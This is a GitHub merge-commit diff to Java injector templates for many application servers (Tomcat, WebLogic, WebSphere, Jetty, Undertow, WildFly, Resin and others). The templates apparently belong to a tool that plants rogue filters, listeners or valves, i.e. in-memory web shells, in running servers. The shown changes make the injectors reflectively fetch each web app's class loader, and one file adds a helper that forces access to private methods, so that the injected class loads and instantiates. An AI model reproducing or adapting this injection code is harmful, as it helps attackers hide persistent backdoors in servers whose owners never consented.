Merge pull request #38 from ReaJason/main

feat: support getWebAppClassLoader from context
This commit is contained in:
pen4uin
2025-08-21 18:21:10 +08:00
committed by GitHub
20 changed files with 237 additions and 101 deletions
@@ -81,12 +81,18 @@ public class BESFilterInjectorTpl {
return var0; return var0;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) throws Exception { private Object getFilter(Object context) throws Exception {
Object filter = null; Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e1) { } catch (Exception e1) {
@@ -73,13 +73,18 @@ public class BESListenerInjectorTpl {
return var0; return var0;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception { private Object getListener(Object context) throws Exception {
Object listener = null; Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -64,12 +64,18 @@ public class GlassFishFilterInjectorTpl {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) throws Exception { private Object getFilter(Object context) throws Exception {
Object filter = null; Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -60,13 +60,18 @@ public class GlassFishListenerInjectorTpl {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception { private Object getListener(Object context) throws Exception {
Object listener = null; Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -164,14 +164,17 @@ public class JettyFilterInjectorTpl {
throw new Exception("HttpConnection not found"); throw new Exception("HttpConnection not found");
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
private Object getFilter(Object context) { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
Object filter = null; } catch (Exception e) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) getFV(context, "_classLoader"));
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
} }
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -108,13 +108,17 @@ public class JettyListenerInjectorTpl {
throw new Exception("HttpConnection not found"); throw new Exception("HttpConnection not found");
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
private Object getListener(Object context) { try {
Object listener = null; return ((ClassLoader) invokeMethod(context, "getClassLoader"));
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); } catch (Exception e) {
if (classLoader == null) { return ((ClassLoader) getFV(context, "_classLoader"));
classLoader = context.getClass().getClassLoader();
} }
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -87,12 +87,17 @@ public class ResinFilterInjectorTpl {
} }
private Object getFilter(Object context) { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
Object filter = null; try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
if (classLoader == null) { } catch (Exception e) {
classLoader = context.getClass().getClassLoader(); return ((ClassLoader) getFV(context, "_classLoader"));
} }
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -65,12 +65,17 @@ public class ResinListenerInjectorTpl {
} }
private Object getListener(Object context) { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
Object listener = null; try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
if (classLoader == null) { } catch (Exception e) {
classLoader = context.getClass().getClassLoader(); return ((ClassLoader) getFV(context, "_classLoader"));
} }
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -95,14 +95,19 @@ public class TomcatFilterInjectorTpl {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) { private Object getFilter(Object context) throws Exception {
Object filter = null; Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
filter = classLoader.loadClass(getClassName()); filter = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
@@ -87,13 +87,19 @@ public class TomcatListenerInjectorTpl {
return contexts; return contexts;
} }
private Object getListener(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null; Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -95,10 +95,7 @@ public class TomcatValveInjectorTpl {
private Object getValve(Object context) { private Object getValve(Object context) {
Object valve = null; Object valve = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
valve = classLoader.loadClass(getClassName()).newInstance(); valve = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -82,12 +82,18 @@ public class TongWebListenerInjectorTpl {
return var0; return var0;
} }
private Object getListener(Object context) throws IllegalAccessException { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
Object listener = null; try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
if (classLoader == null) { } catch (Exception e) {
classLoader = context.getClass().getClassLoader(); Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
} }
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception ex) { } catch (Exception ex) {
@@ -63,12 +63,18 @@ public class UndertowFilterInjectorTpl {
return contexts; return contexts;
} }
private Object getFilter(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
Object filter = null; try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
if (classLoader == null) { } catch (Exception e) {
classLoader = context.getClass().getClassLoader(); Object deploymentInfo = getFV(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
} }
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -53,13 +53,18 @@ public class UndertowListenerInjectorTpl {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
private Object getListener(Object context) { try {
Object listener = null; return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); } catch (Exception e) {
if (classLoader == null) { Object deploymentInfo = getFV(context, "deploymentInfo");
classLoader = context.getClass().getClassLoader(); return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
} }
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -146,12 +146,17 @@ public class WebLogicFilterInjectorTpl {
return webappContexts.toArray(); return webappContexts.toArray();
} }
private Object getFilter(Object context) { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
Object filter = null; try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
if (classLoader == null) { } catch (Exception e) {
classLoader = context.getClass().getClassLoader(); return ((ClassLoader) getFV(context, "classLoader"));
} }
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -140,13 +140,18 @@ public class WebLogicListenerInjectorTpl {
return webappContexts.toArray(); return webappContexts.toArray();
} }
private Object getListener(Object context) { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "classLoader"));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null; Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -202,12 +202,17 @@ public class WebSphereFilterInjectorTpl {
} }
} }
public Object getFilter(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
Object filter = null; try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
if (classLoader == null) { } catch (Exception e) {
classLoader = context.getClass().getClassLoader(); return ((ClassLoader) getFV(context, "loader"));
} }
}
public Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -64,12 +64,17 @@ public class WebSphereListenerInjectorTpl {
return contexts; return contexts;
} }
private Object getListener(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
Object listener = null; try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
if (classLoader == null) { } catch (Exception e) {
classLoader = context.getClass().getClassLoader(); return ((ClassLoader) getFV(context, "loader"));
} }
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -137,4 +142,46 @@ public class WebSphereListenerInjectorTpl {
} }
return null; return null;
} }
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
} }
@@ -62,14 +62,19 @@ public class WildFlyFilterInjectorTpl {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFV(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
private Object getFilter(Object context) { private Object getFilter(Object context) throws Exception {
Object filter = null; Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
filter = classLoader.loadClass(getClassName()).newInstance(); filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -50,14 +50,19 @@ public class WildFlyListenerInjectorTpl {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFV(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
private Object getListener(Object context) { private Object getListener(Object context) throws Exception {
Object listener = null; Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
listener = classLoader.loadClass(getClassName()).newInstance(); listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {